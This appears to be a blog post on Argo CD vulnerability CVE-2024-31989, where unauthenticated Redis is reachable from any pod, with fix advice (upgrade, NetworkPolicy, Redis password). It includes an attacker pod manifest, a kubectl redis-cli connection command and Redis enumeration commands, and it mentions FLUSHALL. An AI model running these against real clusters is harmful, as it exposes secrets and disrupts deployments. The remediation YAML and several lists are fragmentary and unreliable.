---

Introduction

Argo CD is a widely adopted tool for managing continuous delivery (CD) for Kubernetes environments — using GitOps principles to make deployments predictable and repeatable. Yet, in early 2024, a critical vulnerability was discovered that may haunt many clusters, especially those running on AWS EKS (Elastic Kubernetes Service), even with what seemed like the proper network plugins installed. This post provides a straightforward summary of CVE-2024-31989, how it can be exploited, and what you can do to fix it.

The Heart of the Problem: Redis and Pod Network Exposure

Argo CD uses a Redis server (usually on port 6379) as part of its controller stack. Redis is meant to be accessed only by trusted Argo CD components. However, CVE-2024-31989 reveals that, under many common deployments, any unprivileged pod in any arbitrary namespace within the same Kubernetes cluster may connect straight to this Redis instance — provided they can reach the cluster network.

This is especially alarming because

- Redis often contains session data, secrets, or user/application configs

Gaining access to Redis can often enable _privilege escalation_

- Users often assume VPC CNI plugins enforce network isolation by default — but this is not always the case

AWS EKS admins: Even if you’ve installed the latest VPC CNI plugin, strict network policies are not enforced by default. You must enable and configure them manually!

Real-World Scenario

Suppose you deployed Argo CD on your cluster, with the official Helm chart, using the default values.

A developer launches a pod in a completely unrelated namespace — perhaps to test some microservice. By using this pod, the developer can now connect to the argocd-redis service, try default credentials, enumerate the DB, and possibly retrieve session tokens, deployment secrets, or even overwrite controller config.

Code Snippet: Exploiting the Flaw

Here’s a simple demonstration. Let’s assume the Redis server sits at argocd-redis.argocd.svc.cluster.local:6379 (default on Helm install):

Exploit Pod YAML

apiVersion: v1
kind: Pod
metadata:
  name: redis-exploit
  namespace: attacker-ns
spec:
  containers:
    - name: redis-cli
      image: redis:7.2
      command: ["sleep", "360"]

Exec into pod & connect to Redis

kubectl exec -n attacker-ns -it redis-exploit -- redis-cli -h argocd-redis.argocd.svc.cluster.local -p 6379

If no Redis AUTH is set up, you’re immediately at the Redis prompt.

Exfiltrate or Harm the System

# List databases, dump info
keys *
info

# Add a fake session or extract an admin token
# (Details depend on Argo CD version and implementation)

If the Redis server is exposed without client authentication, the attacker can enumerate or change session state, or crash the controller by issuing FLUSHALL or similar dangerous commands.

Kubernetes by default allows all pods to talk to all Service IPs.

- When deploying EKS's VPC CNI, you still need to explicitly enable and write NetworkPolicy resources for real isolation.

Some administrators wrongly assume each namespace is isolated.


If left as-is, any pod — as soon as it joins the cluster — can attempt to connect to any non-protected Service!

Anyone using Argo CD < 2.8.19, 2.9.15 or 2.10.10

- Anyone who did not explicitly lock down their Redis service, using NetworkPolicy or other methods

Information leakage: Secrets, configs, tokens, sometimes even passwords left in the Redis cache.

- Privilege escalation: Attackers can insert or escalate their own credentials into Argo CD itself.
- Service disruption: Destructive commands like FLUSHALL will interrupt the entire Argo CD deployment.

Upgrade Argo CD!

If you’re on 2.10.x, at least 2.10.10

Argo CD releases

`yaml

apiVersion: networking.k8s.io/v1

matchLabels

app.kubernetes.io/name: redis

matchLabels

app.kubernetes.io/part-of: argocd

Add a redis password!

Even if you think nobody can reach the pod, set requirepass for Redis. Most Helm charts allow a secret-based configuration.

References and Further Reading

- CVE-2024-31989 at MITRE
- Argo CD security advisory
- AWS EKS — Learn about EKS VPC CNI
- Kubernetes network policies official doc
- How to add Redis authentication

Conclusion

CVE-2024-31989 is a wakeup call: In cloud-native infrastructure, you can’t assume “secure by default.” As your clusters get more complex, so do the risks — especially if you rely on default network settings or third-party charts. If you use Argo CD, patch and audit your cluster now. Double-check your network policies and never leave Redis or similar services open to the entire cluster.

Stay secure, stay up to date!

*Exclusive analysis by ChatGPT, June 2024. All information derived from official references and hands-on cluster exploitation research.*

Timeline

Published on: 05/21/2024 19:15:09 UTC
Last modified on: 06/06/2024 17:10:15 UTC